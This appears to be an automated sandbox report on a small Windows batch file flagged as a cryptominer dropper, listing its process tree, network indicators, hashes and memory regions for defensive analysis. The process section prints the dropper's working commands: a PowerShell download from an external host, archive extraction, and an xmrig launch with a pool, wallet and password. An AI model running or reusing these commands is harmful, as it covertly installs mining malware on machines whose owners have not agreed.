Analysis

  • max time kernel
    1795s
  • max time network
    1798s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11/12/2023, 01:48

General

  • Target

    tesy - Copy (8).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3344
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3176
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2616

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    81b1202fb47b04a06df56bd7ca01aeee

    SHA1

    5e5208b28c88452ae8f1ca7883fcc8a44cd13b25

    SHA256

    8f8e1669ed0ee6f86cb53bc2f4148f0ce74abff2c63fcc854d3e1fb79668418b

    SHA512

    298a24e1f27bcd759c04f7d4c841d6c57e1be7aac921dc56032b7057c58843232f625202ecbc4000575b6bd3e0a65bd46b238f8cfe245c51cd97aeae49cc7312

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmoyidjo.ccc.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2560-4-0x00000293F1DD0000-0x00000293F1DF2000-memory.dmp

    Filesize

    136KB

  • memory/2560-6-0x00007FFBECF20000-0x00007FFBED90C000-memory.dmp

    Filesize

    9.9MB

  • memory/2560-9-0x00000293F1FA0000-0x00000293F2016000-memory.dmp

    Filesize

    472KB

  • memory/2560-8-0x00000293F1E10000-0x00000293F1E20000-memory.dmp

    Filesize

    64KB

  • memory/2560-24-0x00000293F1E10000-0x00000293F1E20000-memory.dmp

    Filesize

    64KB

  • memory/2560-29-0x00007FFBECF20000-0x00007FFBED90C000-memory.dmp

    Filesize

    9.9MB

  • memory/2616-128-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-133-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-170-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-169-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-168-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-167-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-102-0x000001AF85090000-0x000001AF850B0000-memory.dmp

    Filesize

    128KB

  • memory/2616-103-0x000001AF86890000-0x000001AF868D0000-memory.dmp

    Filesize

    256KB

  • memory/2616-104-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-105-0x000001AF868D0000-0x000001AF868F0000-memory.dmp

    Filesize

    128KB

  • memory/2616-106-0x000001AF868F0000-0x000001AF86910000-memory.dmp

    Filesize

    128KB

  • memory/2616-107-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-108-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-109-0x000001AF868D0000-0x000001AF868F0000-memory.dmp

    Filesize

    128KB

  • memory/2616-110-0x000001AF868F0000-0x000001AF86910000-memory.dmp

    Filesize

    128KB

  • memory/2616-111-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-112-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-113-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-114-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-115-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-116-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-117-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-118-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-119-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-120-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-121-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-122-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-123-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-124-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-125-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-126-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-127-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-166-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-129-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-130-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-131-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-132-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-165-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-134-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-135-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-136-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-137-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-138-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-139-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-140-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-141-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-142-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-143-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-144-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-145-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-146-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-147-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-148-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-149-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-150-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-151-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-152-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-153-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-154-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-155-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-156-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-157-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-158-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-159-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-160-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-161-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-162-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-163-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/2616-164-0x00007FF7D0B90000-0x00007FF7D1693000-memory.dmp

    Filesize

    11.0MB

  • memory/3344-37-0x000001A22FC70000-0x000001A22FC80000-memory.dmp

    Filesize

    64KB

  • memory/3344-34-0x00007FFBECF20000-0x00007FFBED90C000-memory.dmp

    Filesize

    9.9MB

  • memory/3344-36-0x000001A22FC70000-0x000001A22FC80000-memory.dmp

    Filesize

    64KB

  • memory/3344-75-0x000001A248100000-0x000001A248112000-memory.dmp

    Filesize

    72KB

  • memory/3344-88-0x000001A2480E0000-0x000001A2480EA000-memory.dmp

    Filesize

    40KB

  • memory/3344-61-0x000001A22FC70000-0x000001A22FC80000-memory.dmp

    Filesize

    64KB

  • memory/3344-98-0x00007FFBECF20000-0x00007FFBED90C000-memory.dmp

    Filesize

    9.9MB